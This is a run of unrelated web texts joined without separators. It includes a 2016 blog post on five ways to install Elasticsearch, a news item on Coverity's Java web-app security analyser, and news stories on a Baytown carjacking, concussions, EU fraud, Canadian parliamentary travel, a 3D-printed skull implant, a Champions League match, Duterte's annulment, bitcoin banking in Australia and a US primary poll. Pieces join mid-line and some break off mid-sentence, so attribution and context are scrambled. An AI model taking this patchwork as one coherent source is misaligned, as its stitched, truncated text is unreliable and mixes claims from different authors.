Its oil revenues fund, which has been financing the deficit, is expected to end next year, and the government wants to attract more foreign investment to boost the economy.
In an interview with Bloomberg Television earlier this week, Russia's First Deputy Prime Minister Igor Shuvalov said: "While Russian stocks may be undervalued, Russia is not seeking investors interested in quick and easy money."
"I would welcome real investors who can build factories, something new in this country."Installing and running Elasticsearch in 5 different ways
Matt Rzepa Blocked Unblock Follow Following Nov 29, 2016
Installation and running Elasticsearch sometimes can be problematic.
Especially when:
You didn’t use it before and want to have it fast i.e. for testing or experimenting You have a growing web application which relies on Elasticsearch and you are not experienced about configuring and scaling servers
I’ve prepared 5 ways how to run Elasticsearch. I hope this can be useful for beginners and even also for more experienced developers.
1. DigitalOcean + Docker
Choosing docker image on DigitalOcean
Pros
Extremely easy way to run Elasticsearch. It just requires a few very simple steps to make it working.
Resizing (CPU and RAM) and creating snapshots is very convenient
Relatively easy to migrate your docker to another host
Creating many Elasticsearch instances on one host with docker is effortless
Cons
I don’t see many cons. You need to have knowledge about servers and take care about maintaining and making backups on your own.
Installation
ssh [email protected]
docker run -p 9200:9200 elasticsearch:1.7.6
open http://your-new-ip-address:9200 to test it out
2. AWS Elasticsearch
Choosing domain and version for Elasticsearch in AWS
Configuring Elasticsearch cluster in Amazon Web Services
Pros
Scalable. You can choose how many instances you want and their size
Secure. You can control access to API by AWS Identity or Access Management (IAM) policies
Easy to run
Cons
Only 1.5 and 2.3 versions available of Elasticsearch
It is quite expensive. The smallest instance of 1 GB ram and 1 vCPU costs $0.018 per Hour so it is 13$ per Month
3. Elasticsearch with Ansible
Pros
It’s very very flexible, configurable and fully automated.
Ansible has very low learning curve in comparison to Chef or Puppet in terms of provisioninig
Cons
Requires knowledge about Ansible and managing linux system
Requires making maintenance and backups on your own
Installation
Make sure Ansible is installed in your localhost
ansible-playbook your-own-playbook.yml
More information there: https://github.com/elastic/ansible-elasticsearch
4. QBox Hosted Elasticsearch
Pros
It is very scalable and huge. You can have up to 512 GB Ram and 46 vCPU’s
4 regions available (USA, Europe, Australia and Asia)
24h/7 support and help for every customer
automatic backups
Cons
It is expensive. The instance of 1 GB ram and 1 vCPU costs $0.05/hr ($40.00/mo). This is 2.5x more expensive than AWS (on the smallest instance)
5. Manual installation on Ubuntu 14.04
Installation Elasticsearch 1.7.2 on Ubuntu
Pros
Having docker I don’t see any benefits here
Cons
Different installation commands on each linux distros.
Testing installation
Usually it is enough to open it in the browser i.e. http://localhost:9200 or make a request in CLI `curl -XGET http://localhost:9200`
Typical response:
Edit: 16 october 2017
The article was originally published here but it’s moving directly into https://www.itemsapi.com/blog/2016/11/29/how-to-install-elasticsearch/Coverity, a company that offers security testing tools for software developers, is extending its expertise to the world of Web application development.
The company is developing a static analysis tool that can analyze Enterprise Java (JEE) Web applications. It will be one of the first tools to offer this capability. The company plans a final release of the product, now called Coverity Development Testing for Web Application Security, in September, though it is now offering previews as part of an early access program.
"First generation static analysis tools in the Web application space haven't been able to make security defects actionable. [Fixing the bugs] has been relegated to security teams, which is very inefficient," said Andy Chou, Coverity co-founder and chief technology officer. "The ultimate goal is to empower developers to fix defects on their own."
Simply put, static analysis examines a program code for bugs that could lead to software crashes or exploitable vulnerabilities. Coverity has long offered testing tools for compiled C, C++, C# and Java programs, though this is the company's first foray into applying the technology to Web applications.
Applying static analysis to a Java Web application, a development team can uncover a possible SQL Injection attack -- where malicious commands are embedded in a database call -- or a cross side scripting vulnerability, which would allow an attacker to slip hidden code in a copy of a Web page, Chou said.
Coverity's static code analyzer will tackle one of the heretofore trickiest issues of analyzing Web applications, that of dealing with frameworks. Frameworks are libraries of code from which developers often borrow to carry out common tasks in their programs. For static analysis, however, frameworks can be problematic, because the code being examined just points to a framework function, and, as a result, fails to offer the full picture of what actions are taking place when the program is executed. Coverity's approach is to design the tool in such a way that it also examines the full framework calls. The first version of the software will support the two most popular JEE frameworks, Hibernate and Spring.
The software will also include what the company calls a white box fuzzer, to check data sanitization routines. Data sanitizers are often used to check for malicious or otherwise harmful user input. Data sanitizers, however, could be incomplete or improperly configured; the fuzzer will check for weaknesses in the sanitizer.
In addition to code examination and the white box fuzzer, the Coverity software will also provide specific tips to developers on how to fix the problems it finds. The software can be run as a Web server, on the desktop, or embedded in an IDE (integrated developer environment).
While this current edition focuses only on JEE, Coverity may expand the software to include other widely used Web technologies in the future, including PHP, JavaScript or Ruby on Rails, Chou said.
Joab Jackson covers enterprise software and general technology breaking news for The IDG News Service. Follow Joab on Twitter at @Joab_Jackson. Joab's e-mail address is [email protected] woman robbed at knifepoint in Baytown fought back, running over her attacker with her car on Friday. It was a terrifying ordeal for a woman and her children when an armed man suddenly appeared in her back seat.
What happened next ended with the suspect having to be flown to a hospital. The woman's husband tells Eyewitness News she was trying to hit a telephone pole in order to disorient the attacker. He apparently jumped form the van and the woman ran over him.
Police say inside the minivan were a two-year-old boy and his five-year-old sibling. Their mother, Dorothy Baker-Flugence, had just left a Baytown CVS, police say, when Ismael Martinez popped up in the back of the van. He had a knife.
"The guy pulled a knife on her," said Charles Flugence, the victim's husband. "He had a knife on my son."
Flugence says his wife told him she struggled with Martinez, honked the horn and somehow called 911 while getting the knife.
"She got the knife," Flugence said. "She got a cut that goes across her chest. She grabbed the knife and he bit her hand."
Police say the woman ran her van intentionally off the road trying to disorient the attacker. She was hoping that a 911 dispatcher would hear what was going on, and find a way to sent help. But when she saw a telephone pole, she sped up and targeted it, feeling it was a risk she had to take.
"I thought, 'If you swerve and hit the pole, he's not wearing a seatbelt, he'll go through the windshield or at least hit his head, and you can stop him. You can do something to make sure that he doesn't hurt your kids,'" Dorothy Baker-Flugence said. "That's all I was thinking of really, was just to get him away from my kids."
Police add that Baker-Flugence punched the man in the face and when she stopped, he jumped out of the vehicle. That's when she reportedly turned the tables and ran over him.
"She got into a struggle with the man while trying to protect her children," said Lt. Eric Freed with the Baytown police. "She actually overpowered him. At some point in time, he jumped from the vehicle and was run over by the vehicle."
Baker-Flugence says while she ran over the man intentionally, she only wanted to stop him, not intending to seriously harm him.
Back at the CVS where the mother had been shopping, folks are applauding her for doing what it took to protect her children.
"That's scary, it's really scary," said Baytown resident Dottie Sparks. "But good for her!"
Baytown resident Joyce Sparks added, "She's trying to protect herself and her kids. I'd do the same thing."
Martinez was taken by Life Flight to the hospital with serious injuries to his back. He was listed in stable condition Friday night and is expected to face serious charges. Martinez's criminal history includes rape and burglary convictions.
The children were unhurt in the incident, and their father is thankful for his wife's actions.
"She's my hero. I'll take her anywhere. I'll take her anywhere twice on Sunday," Flugence said. "She's a tough one. I wouldn't have it any other way."
Find Kevin on Facebook at ABC13KevinQuinn or on Twitter at @kquinn001If a concussion happens and it's not on the ice, does it still count?
When Sidney Crosby misses a game due to a concussion, it's national news. He is assessed by team doctors, and a protocol is followed to help him recover before returning to play.
When the average Canadian gets a concussion in every day life, the path forward is less clear.
The 180's Kathryn Marlow knows this well — she fell and hit her head in May 2015, and is still dealing with the effects— so she set out to discover if there's a difference between a sport concussion and an every day one.
What is a concussion anyway?
A concussion is a form of mild traumatic brain injury, which occurs when your brain sloshes around in your skull. This can happen when you hit your head, but it can also be caused by a jolt to the body (like a tackle), or any sudden movement of the head (like whiplash).
This week, The 180 with Jim Brown looks into concussions. This video shows how the brain moves inside the skull when force is applied to the head or body. 0:14
The effect is not actual structural damage to the brain, but a "disturbance in brain function," according to Keith Yeates of the University of Calgary.
That disturbance can cause symptoms like: headache, dizziness, nausea, confusion and difficulty concentrating, fatigue, irritability, depression, and anxiety.
After a concussion, most people (80 to 85 percent) will recover within a few weeks. But in order to be one of those people, it's important to take care of yourself as soon as the concussion happens.
And that's where the challenge can come for non-athletes.
What does it feel like to have a concussion? For me, it meant daily headaches, sensitivity to light and noise, and fatigue. I also dealt with depression and anxiety, and had a hard time handling even simple stress. In my job, I need to be able to multi-task and work in an environment with a lot of stimulus. My concussion made this almost impossible: merely having to switch tasks quickly, or trying to concentrate while there were conversations going on around me, triggered anxiety attacks that would have me weeping openly (and I'm not a crier). It can also be hard to process information. Sometimes, I would be in the middle of a conversation and I would completely lose the thread. It felt like the conversation was an island floating in the sky, and I had fallen off the island: I was plummeting down, reaching desperately to try and grasp some little thread, but to no avail. -Kathryn Marlow, The 180
Is there a difference between sport and non-sport concussions?
In terms of what's happening in the brain, no. But some research shows that athletes recover better than regular folk, because they are generally healthier, and because they are motivated to get better so that they can get back into play.
And, athletes often have better support. While a coach, trainer, or even parent may have been trained to recognize and react to concussions, not all family doctors have been.
Keith Yeates, the neuropsychologist who leads the integrated concussion research team at the U of C, says there are a few reasons why athletes are better served when it comes to concussions.
"One just has to do with the fact that a lot of physicians who are interested in this injury are sport medicine physicians. So their professional training runs around sport-related injury, and concussion is a natural outgrowth of that. So that's part of the reason. There's also a financial reason."
There's profit to be made in concussions, Yeates says.
"If you can get whole teams to buy in to the idea of baseline testing and other things, there's a lot of money at stake in concussion, unfortunately or fortunately, depending how you look at it. So people are looking at market share. It's little bit harder to market your clinic to the average Joe or Jane who falls off their bike, or has an accident in the park."
There's a lot of money at stake in concussion, unfortunately or fortunately, depending how you look at it. So people are looking at market share. It's little bit harder to market your clinic to the average Joe or Jane who falls off their bike, or has an accident in the park. - Keith Yeates, University of Calgary
Different provinces have public resources in place to help with concussion management, generally for people whose symptoms persist past three to six months, but many require referrals and have long waiting lists.
Unfortunately, Yeates says, patients are often left to do their own research and advocate for themselves.
Keith Yeates leads the University of Calgary's integrated concussion research team. (Keith Yeates)
Sport offers mixed messages about concussions
Concussion researchers are pleased that injuries like Sidney Crosby's have us all talking about brain injury.
But it's not all good.
"There has been increased awareness that concussion is actually affecting the brain, but then there are instances where, when we're watching the news, we see that one person has a concussion and then is sent back into the game to play," says Naznin Virji-Babul, a professor in the Department of Physical Therapy at UBC.
"I think this raises a lot of questions for the public: is this really a serious issue, because why is this very high profile player now going back in, when they've just said that he's got a concussion, right? So there's a lot of mixed messages out there that I think that, because of that, the real seriousness of this injury is being downplayed a little bit."
There has been increased awareness that concussion is actually affecting the brain, but then there are instances where, when we're watching the news, we see that one person has a concussion and then is sent back into the game to play. - Naznin Virji-Babul. UBC
For Keith Yeates, there is also a concern that the dramatic coverage of sport concussions, especially when it comes to the NFL and chronic traumatic encephalopathy, makes concussions seem scarier than they are. He cautions there is still a lot to be learned about CTE and its connection to mild traumatic brain injury, and points out that while concussions must be taken seriously, most people recover completely. He says fear of concussions should not stop us from being active.
What we have learned from sport
Much of the research into concussions happens in sport, partly because athletes and teams make easy control groups. But the lessons learned can be applied to everyone. Lessons like the value of rest, but not total shut-down.
"The idea of rest is really important. The idea of isolation, dark rooms, is not.," says Brittany Jamieson, an occupational therapist in Calgary.
"What we know about neuroplasticity is that if you give the brain no stimulation, the brain gets used to no stimulation, you add in stimulation and it's really provocative. So, while you're resting, we need to incorporate things like noise. So listening to an audio book is an example of rest, in a room with normal lighting."
The current guidelines for rest come from the Consensus Statement on Concussion in Sport. Every few years, concussion experts meet at an international conference, and they issue a new statement. The next conference is October 27 to 28, 2016 in Berlin.
Sticky notes at Kathryn's desk, both reminders from her concussion rehab. (Kathryn Marlow)
There is still a lot we don't know about concussions, and it fits into two main categories: diagnosis and treatment. Right now, mild traumatic brain injury is diagnosed mainly from symptom reporting, but there are hopes that new imaging or blood tests will be developed. There's also no clear way to determine recovery, so even when athletes are sent back into play based on "concussion protocols," there's no black-and-white way of knowing if they're ready.
Sport research could find new diagnostic tools, better treatments, and ways to scientifically demonstrate recovery.
And that would help everyone, not just athletes.
Does this story bring to mind your experience with concussion? Share your story in the comments below, or send and email to The 180.Billions of pounds of taxpayers' money may be lost by EU fiddling
Senior peers estimated billions of pounds of taxpayers’ money is lost in fiddles every year rather than the millions shown in EU audits.
And many European governments – who administer 80 per cent of EU spending – are covering up the colossal level of corruption, they claimed.
The scathing verdict on the European Commission’s financial controls was delivered in a report from the Justice, Institutions and Consumer Protection EU sub-committee.
It concluded the £350million figure for fraud highlighted in the commission’s most recent audit gave “only a glimpse” of the reality.
The real annual cost to the EU budget from fraud was likely to be around £4.3billion, the report claimed. It also revealed Treasury figures showed £1billion a year was lost through VAT fiddles linked to spending on EU projects.
A total of £66million a year was ripped off from EU agricultural programmes in the UK while a further £166million was stolen from “cohesion policy” programmes designed to help the deprived. Sub-committee chairman and Tory peer Lord Bowness said: “Money is tight for everyone, right across the European Union.
“It is extremely worrying so much money is disappearing from the EU’s budget without anyone having a handle on where and why it is happening and who is responsible.”
The UK may be the first Government to make a department responsible for preventing EU fraud
It is extremely worrying so much money is disappearing from the EU’s budget without anyone having a handle on where and why it is happening and who is responsible. Tory peer Lord BownessMPs and senators are on track to spend $4.5 million to meet with their parliamentary counterparts around the globe this fiscal year — $1 million more than was spent last year.
According to information on the calendar of events for parliamentary associations, the groups of MPs and senators tasked with promoting Canada's interests abroad, the $4.5 million will cover at least 134 meetings. It means hosting a number of visiting legislators from around the world in Canada and funding at least 69 trips abroad by delegations of Canadian MPs and senators.
Canadian parliamentarians have travelled to France, China and Portugal and are planning to visit cities such as Washington, Las Vegas and Kingston, Jamaica, according to the list of scheduled trips.
Last year these groups took 83 trips at a cost to taxpayers of more than $3.5 million. That was the largest number of trips abroad in five years, according to Colette Labrecque-Riel, the director general of international and interparliamentary affairs in the House of Commons.
Labrecque-Riel presented the latest 2016-2017 expenditures to the Board of Internal Economy (BOIE), the governing body of the House of Commons, on Nov. 2.
She disclosed the information under new rules governing the formerly secretive BOIE. Previously, details on the spending were kept under tight wraps, but some meetings are now televised and transcripts are publicly released.
Labrecque-Riel says the number of activities increased last year and used up 98 per cent of the budget. That's "somewhat unheard of" for associations, she said, noting that activities were "significantly higher" than in previous years.
Increased costs
Canadian parliamentary associations are required to pay membership fees to take part in meetings held by international organizations. Those fees represent a large part of the total budget for parliamentary travel. In 2016-2017 membership fees took up $1.3 million of the $3.5 million budget.
Labrecque-Riel told BOIE members that six of the 13 parliamentary associations are required to pay membership fees to be invited to global meetings. Those with the highest fees include the Canadian Group of Inter-Parliamentary Union, which promotes democratic values and Canadian interests, and the Canadian NATO Parliamentary Association.
"If we do not pay them, we do not participate," Labrecque-Riel said.
Even though there are fewer trips scheduled this year, the associations asked for and received an additional $1 million in permanent funding on April 1, 2017.
"The trend began last fiscal year in terms of the increasing number of activities and the ways that associations were utilizing additional funding. And the trend has been maintained and increased in the first six months of this fiscal year," Labrecque-Riel said.
The Joint Interparliamentary Council is the committee that allocates funds for the associations. The co-chair, Conservative MP Bruce Stanton, told CBC in an email that the increase in trips could be due to several factors. Those factors include a general increase interest in diplomacy among MPs and senators, and and a need to engage with the U.S. on issues like NAFTA renegotiations.
Extra funding denied
At the same BOIE meeting, a request was made for an additional $313,000 for three more staff members to handle the increase in association activities, but the extra money was not approved.
"Maybe we should scale back the travel a bit in order not to overwork the staff who are currently there," Conservative MP Candice Bergen said in the meeting.
NDP BOIE member Peter Julian says the associations already received a permanent $1 million increase. He said he is not comfortable approving $313,000 more.
"They have had a substantial increase in their funding. They have to make sure they are doing the appropriate administration and hiring," he said.
The Joint Interparliamentary Council can now go back to its members and reevaluate and resubmit a new funding proposal to the BOIE.A MAN has had 75 per cent of his skull replaced with a custom-made 3D-printed implant.
The un-named patient in the United States had his head imaged by a 3D scanner before the plastic prosthetic was crafted to suit his features.
Oxford Performance Materials in Connecticut then gained approval from US regulators before the printed bone replacement was inserted in his skull during a surgical procedure earlier this week.
The ground-breaking operation has only now been revealed.
The company says it can now provide the 3D printouts to replace bone damaged by disease or trauma after the US Food and Drug Administration granted approval on February 18.
The implant is more than a simple moulded plastic plate: Tiny surface details are etched into the polyetherketoneketone to encourage the growth of cells and bone.
The company says about 500 people in the US could make use of the technology each month, with recipients ranging from injured construction workers through to wounded soldiers.
It says it can produce an implant within two weeks of obtaining 3D scans of the affected area.At The Bernabeu, Madrid
As David De Gea returned to Madrid and waited to step into enemy territory at The Bernabeu, Sir Alex Ferguson mapped out his Manchester United career along the lines of a baby learning to walk.
The child wobbles and falls before standing up. He wobbles again, then gets up once more, before finally feeling confident on his own feet. De Gea showed signs of now being ready to walk as he helped United secure a Champions League result of significance against Real Madrid in their own iconic football theatre.
De Gea, a proud son of Madrid and once of Real's local rivals Atletico, has been growing up in an unforgiving Premier League environment and the return to his home city was only going to expose the 22-year-old goalkeeper to further close scrutiny.
Media playback is not supported on this device Real Madrid 1-1 Man Utd: Away goal important - Sir Alex Ferguson
It was an examination he passed with some assurance as United earned a 1-1 draw that offers them every opportunity of cutting short Real Madrid's pursuit of "La Decima" - a tenth win in this tournament - and coach Jose Mourinho's quest to become the first man to win it three times with three different clubs.
This was the meeting Mourinho described as "the match the world wants to see". The world would not have been disappointed after events in this wonderfully atmospheric arena - and the world will be only too happy to watch a second episode at Old Trafford in three weeks' time.
Central to the action was De Gea, back in his homeland with points to prove to Spain and many others still questioning his worth, if not his manager. He went some way to supporting Ferguson's claims that the child is well on the way to becoming a man with arguably the finest display of his United career.
It must be placed in an important context. This was a match with De Gea's Achilles heel - the physical challenges of the Premier League that so test his slender frame - more or less removed. He was mainly required to stop shots, a scenario that plays to his strengths. It cannot yet be described as his defining moment.
Indeed, the only flaws in his display came when dealing with crosses but this is a very minor quibble on a night when he did himself great credit.
There can be no denying there was substance to this performance under pressure, particularly with two wonderful, contrasting stops from Fabio Coentrao, one an early diving touch that diverted his shot on to a post and a later block with his body at the near post that showed great instinct as well as a willingness to use all parts to protect his goal.
De Gea at Old Trafford Joins United from Atletico Madrid for a reported fee of£18.9m in June 2011
Makes his debut in 3-2 Community Shield win over Manchester City
At fault for Edin Dzeko's opener
Dropped for four games after a mistake in surprise home defeat to Blackburn
Part of the Spain squad for the London 2012 Olympics
Rotated with Anders Lindegaard at start of this season
Made 66 appearances for United in total
Yet to make full Spain debut
De Gea took the cheers of United's fans perched high in The Bernabeu at the final whistle, a deserved accolade for both keeper and team at the conclusion of a highly satisfactory night.
Ferguson announced with great conviction there would be goals. And there were - an early flicked header from Danny Welbeck that gave United the lead and a precious away goal; and another, inevitably, from former Old Trafford golden boy Cristiano Ronaldo that was a triumph of technique not to mention a defiance of gravity.
There could have been more goals, especially when the normally lethal Robin van Persie unluckily struck the bar and then carelessly allowed Xabi Alonso to clear off the line with a miscued finish.
It would have been harsh on Real and Mourinho had United won. They may be vulnerable at the back, especially at set pieces, but they are packed with menace at all angles in attack.
And this is why all Ferguson's optimistic words had a coating of caution. If United could score in The Bernabeu than Real showed more than enough to suggest they could do the same at Old Trafford. Much remains to be settled in this epic battle of two European heavyweights.
But there was plenty to admire in United's performance, from De Gea's defiance to Welbeck's willingness to run himself to a cramped standstill, along with Phil Jones' shielding of the back four and Rio Ferdinand's reminder that plenty of the old powers remain intact.
Media playback is not supported on this device United could have won game - Mourinho
Every minute whetted the appetite for more at Old Trafford. Mourinho and Ferguson both agreed on odds of 50-50 over who will progress - but United have the goal and home advantage so they will be the happier.
And just in case United needed a warning against the dangers of complacency, it not only wrapped Ferguson in a warm embrace it also visited United's dressing room beneath The Bernabeu's towering five tiers.
Ronaldo headed for Ferguson at the final whistle to greet his old mentor then later joined his former colleagues to chat over old times. It was a renewal of acquaintances but also a flesh and blood confirmation of the biggest threat to their ambitions at Old Trafford.
A refusal to over-indulge in celebration when he equalised (The Bernabeu more than made up for his reluctance as his name echoed around the stadium) showed old comradeship still exists and he will undoubtedly be emotional at Old Trafford.
But with the ball at his feet, and indeed when it comes at him in the air, Ronaldo is quite simply the complete attacking specimen. Ferguson may have been playing to the Madrid gallery but his argument had merit when he suggested even Barcelona's Lionel Messi would not have pulled off his equaliser.
It all added extra strands to the threads that will be woven before the second leg at Old Trafford. And illustrated why the world will want to watch again.Mark Miodownik traces the history of our love affair with metal. He investigates metals at the atomic level and sees how metal crystals can be grown to survive inside a jet engine.
Professor Mark Miodownik travels to Israel to trace the history of our love affair with gleaming, lustrous metal. He learns how we first extracted glinting copper from dull rock and used it to shape our world and reveals how our eternal quest for lighter, stronger metals led us to forge hard, sharp steel from malleable iron and to create complex alloys in order to conquer the skies.
He investigates metals at the atomic level to reveal mysterious properties such as why they get stronger when they are hit, and he discovers how metal crystals can be grown to survive inside one of our most extreme environments - the jet engine.One of the tenets of attachment parenting is that you breastfeed a child on demand. That can lead to a habit where a child will snack—eating a little bit many times throughout the day. It's much harder to get the baby on a schedule when he's snacking constantly, and it's hard for the mom to get anything done, let alone take care of her own needs, while feeding her baby all the time. I also fear that breastfeeding on demand can limit the role of other caregivers. If the baby is eating so frequently, he probably just wants his mother. This limits the potential involvement of dads and non-breastfeeding parents. And though it might seem to make life easier when you don’t need to worry about feeding schedules and having bottles ready, it means the mother must be available to the baby 24/7. That is simply not sustainable. It often means that when a child cries, the first thing he gets is the breast as an offer of comfort, so he doesn't learn other ways to self-soothe. Nighttime feeding on demand disrupts parents’ and babies’ sleep. If parents set a precedent that nighttime is not mealtime, and feed the baby when he's hungry but not every hour or so for comfort, children can be sleeping through the night by the time they’re four months old. This leads to a happier and more content baby, not to mention much happier and more rested parents.
Attachment parenting advocates would say that's one reason mom and baby should sleep together. When the baby wants to eat, the mother can just roll over and feed him. Aside from the safety concerns with co-sleeping, babies do not learn to sleep on their own when they’re snuggled up with their parents. They become used to sleeping with a warm body and heartbeat next to them, and they will come to depend on that. The same is true for constant baby-wearing. It's hard for a child to be put down alone on a blanket when she's used to being held all the time. And it’s hard to get anything done—let alone be intimate with your partner—if there’s constantly a baby on your chest.
Attachment parenting encourages responding to your baby immediately each time he cries, or better still, before he cries. But parents don't get a chance to learn their child's |
5 rose from eight per cent to sixteen per cent the following year.
These figures reflect the number of deaths from ISIS-affiliated attacks across Europe in the past two years.
Growing fears terrorism is on the rise were highlighted in a comprehensive study by London-based research company IHS Markit, which supplies research to firms.
A large portion if its research is used to supply financial market companies with information on world trends.
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Statistics for last year show that Syria and Iraq accounted for 45 % of all attacks worldwide, with 7,497 in Syria and 3,350 in neighbouring Iraq.
Senior analyst Otso Iho said: “In south east Asia there is an increased likelihood that the Islamic State will declare a province in 2017.
“The Islamic State could use the declaration as a way to project its influence globally at a time
its fortunes in Iraq and Syria are waning.
“It will want to show the group can still play at a global stage even as territory losses escalate in its heartlands in Iraq and Syria.”NEWS Shopper has received reports of a "spectacular" car crash in Anerley Road, Penge.
The crash is said to have taken place at around 10pm last night, and involved a red Volkswagen Beetle.
The car skidded down the road and came to stop outside the house of Stuart Flood.
The 52-year-old told News Shopper: "I heard a spectacular crashing sound. It sounded like two lorries smashing into each other.
"It was a crashing sound but it didn't just stop. It continued as the car went skidding down the road.
"I leapt up from my desk and chair and looked out of the living room window.
"The car was lying there on its back.
"A couple of lads pulled the driver out of the passenger seat window.
"All he had was grazed knuckles and a small cut on his shin.
Mr Flood added: "The road surface looked like someone had dumped bucket loads of broken glass all over it.
"There wasn't a glass section of the VW that wasn't shattered."
"Three or four dozen people were standing around, it was like a street party."
Three fire engines, an ambulance and as many as four police cars are said to have attended the scene.
Did you see what happened? Call the news desk on 01689 885 711 or e-mail [email protected] (Reuters) - Australia’s major banks are closing accounts of bitcoin companies, forcing at least 13 digital currency providers out of business in response to tougher rules on money laundering and terrorism finance, an industry body spokesman said on Tuesday.
A Bitcoin logo is displayed at the Bitcoin Center New York City in New York's financial district July 28, 2015. REUTERS/Brendan McDermid
The move comes just months after Westpac Banking Corp became the last of Australia’s four major banks to pull out of the remittances business in order to reduce compliance risks.
Banks globally are exiting sectors that present compliance headaches under pressure from regulators to meet tighter anti-money laundering and counter-terrorism financing rules.
“The current bitcoin operating model requires very tough compliance and assurance requirements to ensure we meet the high standards required under anti-money laundering regulations,” a Westpac spokesman said.
“We continue to monitor developments in bitcoin, including their regulation.”
Banks have sent letters to 17 bitcoin companies including BitTrade and Buyabitcoin informing them their accounts would be closed, an Australian Digital Currency Commerce Association (ADCCA) spokesman said.
“We continue to speak with banks to find a solution to the problem. ADCCA looks forward to guidance from the government as to how the situation can be resolved,” he said.
Seven percent of the world’s $5 billion worth of bitcoin is in circulation in Australia, according to ADCCA estimates.
Commonwealth Bank of Australia declined to comment while National Australia Bank and Australia and New Zealand Banking Group did not immediately respond.
An Australian government inquiry last month said that while digital currencies should be more tightly regulated, they also should be treated as money and taxes should be simplified for people who trade with them.
Westpac in June invested an undisclosed amount in U.S. bitcoin start-up Coinbase, in the first such deal by an Australian bank in the largely unregulated virtual currency.Seeking nullification of her marriage in 1998, wife Elizabeth Zimmerman Duterte tells the court her husband was'really a very good leader' but…
Published 11:08 AM, July 28, 2015
When Rodrigo Duterte, Davao City mayor, said in jest during an interview with celebrity Vice Ganda that he has 3 girlfriends and that his feisty ex-wife “used to beat him up once a week”, he appeared to be trivializing his flaws.
Court records show that it was his wife, Elizabeth Zimmerman Duterte, who was on the receiving end of “emotional abuse” from Rodrigo whom she described as a “womanizer” who had frequent “outbursts of temper.”
In 1998, Elizabeth filed a petition with the Regional Trial Court in Pasig to nullify her marriage. Two years later, the court decided in her favor, ending the 27-year marriage of Rodrigo and Elizabeth.
Rodrigo never appeared in court and did not protest Elizabeth’s petition. But he was compelled to undergo a psychological test. The court found no basis for “collusion.”
Court documents were sent to the office of Rappler by an anonymous source. We checked and verified, and found the court records to be authentic.
During a hearing, Elizabeth narrated her ordeal, as shown in the transcript of stenographic notes: “He flaunts [his women]… I heard of several women whom he brought to parties, to functions where he introduced [them] as Mrs Duterte…He even brought them to meetings and political rallies.”
One of Rodrigo’s girlfriends, she narrated, “told me her affair with my husband direct to my face…”
“[During those] 25 years, I was really miserable and unhappy,” she said. Early in their marriage, Elizabeth said Rodrigo carried on affairs with many women and would usually go home during the wee hours of the morning. Rodrigo was a prosecutor then. She had learned to live with all this because her Catholic school education etched in her mind that marriage is sacred and should be preserved no matter what.
Elizabeth said she had wanted to have her marriage annulled much earlier, but she did not want to “destroy” the name of her husband. Rodrigo had already been mayor of Davao for 9 years and was congressman at the time Elizabeth decided to go to court.
When asked by her counsel to elaborate, she answered: “Yes, he is really a very good leader. That is all he is. But when it comes to family, he is not capable of taking care of it.”
At the time Elizabeth filed for annulment, she and Rodrigo had already been living separately for a few months. She transferred to her brother’s house in Manila but visited Davao often because the children were studying there.
In its decision, the court described Elizabeth as a “nominal wife” and noted that Rodrigo’s “penchant to engage in extra-marital affairs persisted throughout their married life.”
The court cited the results of an examination by a clinical psychologist who found Rodrigo unable to “remain committed to a person or a relationship.” He carries a “gross indifference to others’ needs and feelings, heightened by lack of capacity for remorse and guilt.”
4 children
Rodrigo and Elizabeth have 3 children: Paolo, who is vice-mayor of Davao City; Sara, former Davao mayor; and Sebastian. In the Davao City official website, Rodrigo lists a fourth child, Veronica. Local reports say this is his daughter with his second wife. But Rodrigo’s status is single, as the city government website shows.
In 2001, Elizabeth ran for a seat in the city council but lost. Rodrigo and Elizabeth are said to be civil to each other, 15 years after their marriage has been declared null and void.
Elizabeth was born in Davao, attended Ateneo de Davao and worked with Philippine Airlines as a fight stewardess. She has prominent mestiza features; her grandfather hailed from Germany but migrated to the US.
Those who know Rodrigo say that he compartmentalizes, treats his personal life in a detached manner, not tying it to his official duties. Proof of this is the city’s Galing Pook award for “gender-responsive” governance in 2004.
While he appears to regard women in a cavalier way and offends some, he listens to activist women and set up a program that mainstreams “gender and development” issues.
As the judge remarked during a hearing, “…you can… be a good leader and not necessarily a domestic leader.” – Marites Dañguilan Vitug/RapplerSwing-state poll shows Bush slipping in Florida
Former Florida Gov. Jeb Bush has seen his advantage blunted in his home state over the past two months, according to a new Quinnipiac University swing-state poll released Thursday.
Bush leads potential Republican contenders in Florida with 24 percent, a decrease from 32 percent in the Quinnipiac poll of Feb. 4. Wisconsin Gov. Scott Walker follows with 15 percent, and Florida Sen. Marco Rubio is next at 12 percent.
Retired neurosurgeon Ben Carson follows the top three in Florida with 8 percent; Texas Sen. Ted Cruz, who announced his presidential bid in Virginia on March 23, grabs 7 percent; and former Arkansas Gov. Mike Huckabee receives 6 percent in the Sunshine State.
Ohio Gov. John Kasich leads among his home state’s GOP voters, with 20 percent saying they would vote for him in the primary; Cruz, Huckabee and Walker follow, each with 9 percent; Bush and Carson with 8 percent; Kentucky Sen. Rand Paul with 7 percent; and New Jersey Gov. Chris Christie with 5 percent.
Among Pennsylvania Republicans, 14 percent would vote for Walker, followed by 9 percent for Bush, Carson and former home-state Sen. Rick Santorum. Cruz and Rubio picked up 7 percent in the state. Bush received 12 percent of the Keystone State vote in the same poll last month.
Hillary Clinton continues to hold strong leads over Democrats in Florida, Ohio and Pennsylvania even after news surrounding her use of private email for official business as secretary of state. With Democrats, Clinton leads with 65 percent in Florida, 54 percent in Ohio and 48 percent in Pennsylvania. Vice President Joe Biden comes in second among Florida Democrats. Massachusetts Sen. Elizabeth Warren — who has said repeatedly she will not run — is the runner-up in Ohio and Pennsylvania, with 14 percent and 15 percent, respectively.
The poll was conducted over landline and cellphones from March 17 to 28, surveying 1,087 Florida voters, 1,077 Ohio voters, and 1,036 Pennsylvania voters with an overall margin of error of plus or minus 3 percentage points.
The Florida sample includes 428 registered Republicans with a margin of error of plus or minus 4.7 percent and 344 registered Democrats with a margin of error of plus or minus 5.3 percent. The Ohio sample includes 404 registered Republicans with a margin of error of 4.9 percent and 324 registered Democrats with a margin of error of 5.4 percent. Among Pennsylvania voters, the sample includes 442 registered Republicans with a margin of error of 4.7 percent and 415 registered Democrats with a margin of error of 4.8 percentage points.If this item is out of stock at your local RifleGear but available at our other location, no problem. Just place your order and select In-Store Pickup as the shipping method. As long as the item is legal in your location, we will transfer the item for you.
